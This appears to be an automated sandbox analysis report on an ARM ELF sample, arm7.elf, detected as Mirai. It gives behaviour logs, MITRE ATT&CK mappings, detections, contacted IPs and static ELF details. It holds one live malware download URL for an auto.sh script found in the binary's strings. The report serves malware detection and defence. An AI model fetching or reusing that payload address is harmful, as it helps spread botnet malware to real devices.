Source: /bin/sh (PID: 7179)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6237/maps	Jump to behavior
Source: /bin/sh (PID: 7180)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6239/maps	Jump to behavior
Source: /bin/sh (PID: 7181)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6245/maps	Jump to behavior
Source: /bin/sh (PID: 7182)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6246/maps	Jump to behavior
Source: /bin/sh (PID: 7185)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6247/maps	Jump to behavior
Source: /bin/sh (PID: 7186)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/654/maps	Jump to behavior
Source: /bin/sh (PID: 7194)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/655/maps	Jump to behavior
Source: /bin/sh (PID: 7281)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/656/maps	Jump to behavior
Source: /bin/sh (PID: 7319)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/657/maps	Jump to behavior
Source: /bin/sh (PID: 7320)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/658/maps	Jump to behavior
Source: /bin/sh (PID: 7323)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/667/maps	Jump to behavior
Source: /bin/sh (PID: 7325)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/670/maps	Jump to behavior
Source: /bin/sh (PID: 7327)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/674/maps	Jump to behavior
Source: /bin/sh (PID: 7329)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/675/maps	Jump to behavior
Source: /bin/sh (PID: 7330)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/676/maps	Jump to behavior
Source: /bin/sh (PID: 7331)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/677/maps	Jump to behavior
Source: /bin/sh (PID: 7332)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/720/maps	Jump to behavior
Source: /bin/sh (PID: 7333)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/721/maps	Jump to behavior
Source: /bin/sh (PID: 7334)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/759/maps	Jump to behavior
Source: /bin/sh (PID: 7336)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/761/maps	Jump to behavior
Source: /bin/sh (PID: 7338)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/77/maps	Jump to behavior
Source: /bin/sh (PID: 7339)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/772/maps	Jump to behavior
Source: /bin/sh (PID: 7341)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/774/maps	Jump to behavior
Source: /bin/sh (PID: 7342)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/777/maps	Jump to behavior
Source: /bin/sh (PID: 7343)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/78/maps	Jump to behavior
Source: /bin/sh (PID: 7344)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/785/maps	Jump to behavior
Source: /bin/sh (PID: 7345)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/788/maps	Jump to behavior
Source: /bin/sh (PID: 7346)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/789/maps	Jump to behavior
Source: /bin/sh (PID: 7347)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/79/maps	Jump to behavior
Source: /bin/sh (PID: 7348)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/793/maps	Jump to behavior
Source: /bin/sh (PID: 7349)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/796/maps	Jump to behavior
Source: /bin/sh (PID: 7350)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/797/maps	Jump to behavior
Source: /bin/sh (PID: 7351)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/799/maps	Jump to behavior
Source: /bin/sh (PID: 7354)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/80/maps	Jump to behavior
Source: /bin/sh (PID: 7355)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/800/maps	Jump to behavior
Source: /bin/sh (PID: 7356)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/801/maps	Jump to behavior
Source: /bin/sh (PID: 7357)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/81/maps	Jump to behavior
Source: /bin/sh (PID: 7358)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/82/maps	Jump to behavior
Source: /bin/sh (PID: 7359)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/83/maps	Jump to behavior
Source: /bin/sh (PID: 7360)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/84/maps	Jump to behavior
Source: /bin/sh (PID: 7361)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/847/maps	Jump to behavior
Source: /bin/sh (PID: 7362)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/85/maps	Jump to behavior
Source: /bin/sh (PID: 7363)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/88/maps	Jump to behavior
Source: /bin/sh (PID: 7364)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/884/maps	Jump to behavior
Source: /bin/sh (PID: 7365)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/89/maps	Jump to behavior
Source: /bin/sh (PID: 7366)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/896/maps	Jump to behavior
Source: /bin/sh (PID: 7367)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/9/maps	Jump to behavior
Source: /bin/sh (PID: 7368)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/904/maps	Jump to behavior
Source: /bin/sh (PID: 7369)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/91/maps	Jump to behavior
Source: /bin/sh (PID: 7370)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/910/maps	Jump to behavior
Source: /bin/sh (PID: 7371)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/912/maps	Jump to behavior
Source: /bin/sh (PID: 7372)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/918/maps	Jump to behavior
Source: /bin/sh (PID: 7373)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/92/maps	Jump to behavior
Source: /bin/sh (PID: 7374)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/93/maps	Jump to behavior
Source: /bin/sh (PID: 7375)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/936/maps	Jump to behavior
Source: /bin/sh (PID: 7376)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/94/maps	Jump to behavior
Source: /bin/sh (PID: 7377)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/95/maps	Jump to behavior
Source: /bin/sh (PID: 7378)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/96/maps	Jump to behavior
Source: /bin/sh (PID: 7379)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/97/maps	Jump to behavior
Source: /bin/sh (PID: 7380)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/98/maps	Jump to behavior
Source: /bin/sh (PID: 7381)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/99/maps	Jump to behavior
Source: /bin/sh (PID: 6950)	Grep executable: /usr/bin/grep -> grep -F .utf8

Source: /usr/lib/accountsservice/accounts-daemon (PID: 6923)	File: /var/lib/AccountsService/icons (bits: - usr: rx grp: rwx all: rwx)
Source: /usr/lib/accountsservice/accounts-daemon (PID: 6923)	File: /var/lib/AccountsService/users (bits: - usr: - grp: - all: rwx)

Source: /usr/bin/gnome-shell (PID: 6306)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/xfwm4 (PID: 6537)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/lib/x86_64-linux-gnu/tumbler-1/tumblerd (PID: 6637)	Reads CPU info from /sys: /sys/devices/system/cpu/online

Source: /tmp/arm7.elf (PID: 6237)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gnome-shell (PID: 6306)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/libexec/ibus-x11 (PID: 6823)	Queries kernel information via 'uname':
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Queries kernel information via 'uname':
Source: /lib/systemd/systemd-hostnamed (PID: 6364)	Queries kernel information via 'uname':
Source: /usr/bin/xfwm4 (PID: 6537)	Queries kernel information via 'uname':
Source: /usr/bin/xfce4-panel (PID: 6546)	Queries kernel information via 'uname':
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6653)	Queries kernel information via 'uname':
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6655)	Queries kernel information via 'uname':
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Queries kernel information via 'uname':
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6805)	Queries kernel information via 'uname':
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6808)	Queries kernel information via 'uname':
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6816)	Queries kernel information via 'uname':
Source: /usr/bin/xfdesktop (PID: 6553)	Queries kernel information via 'uname':
Source: /usr/bin/xfwm4 (PID: 6592)	Queries kernel information via 'uname':
Source: /usr/bin/xfdesktop (PID: 6597)	Queries kernel information via 'uname':
Source: /usr/lib/x86_64-linux-gnu/tumbler-1/tumblerd (PID: 6637)	Queries kernel information via 'uname':
Source: /usr/bin/xfwm4 (PID: 6649)	Queries kernel information via 'uname':
Source: /usr/bin/xfwm4 (PID: 6836)	Queries kernel information via 'uname':
Source: /usr/bin/xfwm4 (PID: 6909)	Queries kernel information via 'uname':
Source: /usr/libexec/fprintd (PID: 7197)	Queries kernel information via 'uname':

Source: arm7.elf, 6237.1.00007ffcde4ed000.00007ffcde50e000.rw-.sdmp	Binary or memory string: Wx86_64/usr/bin/qemu-arm/tmp/arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7.elf
Source: arm7.elf, 6237.1.00005569c4b65000.00005569c4c93000.rw-.sdmp	Binary or memory string: iU!/etc/qemu-binfmt/arm
Source: arm7.elf, 6237.1.00005569c4b65000.00005569c4c93000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7.elf, 6237.1.00007ffcde4ed000.00007ffcde50e000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Language, Device and Operating System Detection

Reads system files that contain records of logged in users

Source: /usr/lib/accountsservice/accounts-daemon (PID: 6923)

Logged in records file read: /var/log/wtmp

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match

File source: arm7.elf, type: SAMPLE

Remote Access Functionality

Yara detected Mirai

Source: Yara match

File source: arm7.elf, type: SAMPLE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	2 Scripting	Path Interception	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File and Directory Permissions Modification	LSASS Memory	1 System Owner/User Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Hidden Files and Directories	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	1 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm7.elf	49%	ReversingLabs	Linux.Backdoor.Mirai
arm7.elf	100%	Avira	EXP/ELF.Mirai.W

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://154.216.18.192/auto.sh;	100%	Avira URL Cloud	malware
http://154.216.18.192/auto.sh	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://154.216.18.192/auto.sh	arm7.elf	false	Avira URL Cloud: malware	unknown
http://154.216.18.192/auto.sh;	arm7.elf	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	arm.elf	Get hash	malicious	Unknown	Browse
	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	boatnet.arc.elf	Get hash	malicious	Mirai	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse
	89.250.72.36-mipsel-2024-12-31T13_33_09.elf	Get hash	malicious	Gafgyt	Browse
91.189.91.42	arm.elf	Get hash	malicious	Unknown	Browse
	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	boatnet.arc.elf	Get hash	malicious	Mirai	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse
	89.250.72.36-mipsel-2024-12-31T13_33_09.elf	Get hash	malicious	Gafgyt	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	arm.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	boatnet.arc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	89.250.72.36-mipsel-2024-12-31T13_33_09.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
CANONICAL-ASGB	arm.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	boatnet.arc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	89.250.72.36-mipsel-2024-12-31T13_33_09.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
INIT7CH	arm.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	mips.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	boatnet.arc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	arm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	89.250.72.36-mipsel-2024-12-31T13_33_09.elf	Get hash	malicious	Gafgyt	Browse	109.202.202.202

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/run/user/1000/dconf/user

Download File

Process:	/usr/libexec/gvfs-udisks2-volume-monitor
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.

/run/user/127/dconf/user

Download File

Process:	/usr/libexec/gsd-media-keys
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.

/tmp/server-0.xkm

Download File

Process:	/usr/bin/xkbcomp
File Type:	Compiled XKB Keymap: lsb, version 15
Category:	dropped
Size (bytes):	12060
Entropy (8bit):	4.8492493153178975
Encrypted:	false
SSDEEP:	192:tDyb2zOmnECQmwTVFfLaSLus4UVcqLkjoqdD//HJeCQ1+JdDx0s2T:tDyAxvYhFf+S6tUzmp7/1MJ
MD5:	B4E3EB0B8B6B0FC1F46740C573E18D86
SHA1:	7D35426357695EBA77850757E8939A62DCEFF2D1
SHA-256:	7951135CC89A6E89493E3A9997C3D9054439459F8BFCE3DDEC76B943DA79FA91
SHA-512:	8196A23E2B5E525A5581562A2D7F2EE4FF5B694FEF3E218206D52EA9BFE80600BB0C6AA8968CA58E93E1AAD478FA05E157D08DB6D4D1224DDEA6754E377BE001
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.mkx..............D.......................h.......<.....P.@%.......&......D.......NumLock.....Alt.....LevelThree..LAlt....RAlt....RControl....LControl....ScrollLock..LevelFive...AltGr...Meta....Super...Hyper...........evdev+aliases(qwerty)...!.....ESC.AE01AE02AE03AE04AE05AE06AE07AE08AE09AE10AE11AE12BKSPTAB.AD01AD02AD03AD04AD05AD06AD07AD08AD09AD10AD11AD12RTRNLCTLAC01AC02AC03AC04AC05AC06AC07AC08AC09AC10AC11TLDELFSHBKSLAB01AB02AB03AB04AB05AB06AB07AB08AB09AB10RTSHKPMULALTSPCECAPSFK01FK02FK03FK04FK05FK06FK07FK08FK09FK10NMLKSCLKKP7.KP8.KP9.KPSUKP4.KP5.KP6.KPADKP1.KP2.KP3.KP0.KPDLLVL3....LSGTFK11FK12AB11KATAHIRAHENKHKTGMUHEJPCMKPENRCTLKPDVPRSCRALTLNFDHOMEUP..PGUPLEFTRGHTEND.DOWNPGDNINS.DELEI120MUTEVOL-VOL+POWRKPEQI126PAUSI128I129HNGLHJCVAE13LWINRWINCOMPSTOPAGAIPROPUNDOFRNTCOPYOPENPASTFINDCUT.HELPI147I148I149I150I151I152I153I154I155I156I157I158I159I160I161I162I163I164I165I166I167I168I169I170I171I172I173I174I175I176I177I178I179I180I181I182I183I184I185I186I187I188I189I190FK13FK14FK15FK16FK17FK18

/var/lib/gdm3/.config/ibus/bus/ee49dfd4fa47433baee88884e2d7de7c-unix-0

Download File

Process:	/usr/bin/ibus-daemon
File Type:	ASCII text
Category:	dropped
Size (bytes):	381
Entropy (8bit):	5.154556443505707
Encrypted:	false
SSDEEP:	6:SbF4b2sONeZVkSoQ65EfqFFAU+qmnQT23msRvkTFacecf8h/zKLGWWoHrQgyUlvV:q5sU3LWfLUDmQymqSFbfomSKWEv4fQ
MD5:	1F04935F0D5943C4FE292B5D77095B6D
SHA1:	034A3A8B18AA67F49F56AA97AB7684BC76B17270
SHA-256:	5B9B35079F17422BB1D06CB8DA1DE355529E5CFA8E92821EC96561950714FB64
SHA-512:	FEB5A627BE632BDC2421DA7B28499F5D126D8B11BCEF44D77B875AF91A06D502F8B7B5A71D8169A7691E0B3A8D04CD627DAECECC936B3A98393C8A5AAE247C65
Malicious:	false
Reputation:	low
Preview:	# This file is created by ibus-daemon, please do not modify it..# This file allows processes on the machine to find the.# ibus session bus with the below address..# If the IBUS_ADDRESS environment variable is set, it will.# be used rather than this file..IBUS_ADDRESS=unix:abstract=/var/lib/gdm3/.cache/ibus/dbus-qcaQ7CN6,guid=046904fe7d1d9a2c5505bc7d677454dc.IBUS_DAEMON_PID=6807.

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	5.857832414578269
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm7.elf
File size:	172'352 bytes
MD5:	f79e1a6215aa503b778a36ae1d9adebd
SHA1:	9c07d0922b3c30fccfc31cf335e459008817de3c
SHA256:	312e3eb0decead7f6c7bc08ccb39ebbf05a5f2013ed909883666ca91b9f11f4e
SHA512:	278a1fceb4fb4f86c62bea4b1bb520f744725380e650563bddcd0bf458743dd3eb46cbe2254bf4b1fd5880c324ffce10f46c51d0c4dbd9e15bd3c48276fa44b4
SSDEEP:	3072:UzZWl31/Tszb5Z16GayLZHjQQdfGtjv3vsgWIgzYBJM/9FCyPY:UzZW8z1Z0GayLZHjQQRGtjsDIgzYrM/+
TLSH:	FCF34C46EA414B13C4D62776BAEF42453323AB64D3EB730699287FB43F8679E0E23505
File Content Preview:	.ELF..............(.........4...P.......4. ...(........p............ ... ...........................(...(...............................P...........................................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	134480
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x16e2c	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x1ef1c	0x16f1c	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x1ef30	0x16f30	0x2bc0	0x0	0x2	A	0	0	8
.ARM.extab	PROGBITS	0x21af0	0x19af0	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x21b08	0x19b08	0x120	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x2a000	0x1a000	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x2a004	0x1a004	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x2a004	0x1a004	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x2a008	0x1a008	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x2a00c	0x1a00c	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x2a010	0x1a010	0xac	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x2a0bc	0x1a0bc	0x260	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x2a320	0x1a31c	0xf530	0x0	0x3	WA	0	0	8
.comment	PROGBITS	0x0	0x1a31c	0xda8	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x1b0c8	0x140	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x1b208	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x1b41b	0x2043	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x1d45e	0x6e2	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x1db40	0xe76	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x1e9b8	0x2b8	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x1ec70	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x1f53a	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x206c9	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x20c21	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x20c37	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x211d8	0x6070	0x10	0x0		28	882	4
.strtab	STRTAB	0x0	0x27248	0x2ef8	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x19b08	0x21b08	0x21b08	0x120	0x120	4.5032	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x19c28	0x19c28	5.9731	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x1a000	0x2a000	0x2a000	0x31c	0xf850	4.0057	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x1a004	0x2a004	0x2a004	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x80d4	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x80f0	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x1ef1c	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x1ef30	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x21af0	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x21b08	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x2a000	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x2a004	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x2a004	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x2a008	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x2a00c	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x2a010	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x2a0bc	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x2a320	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	16
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	17
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	18
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	19
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	20
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	21
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	22
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	23
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	24
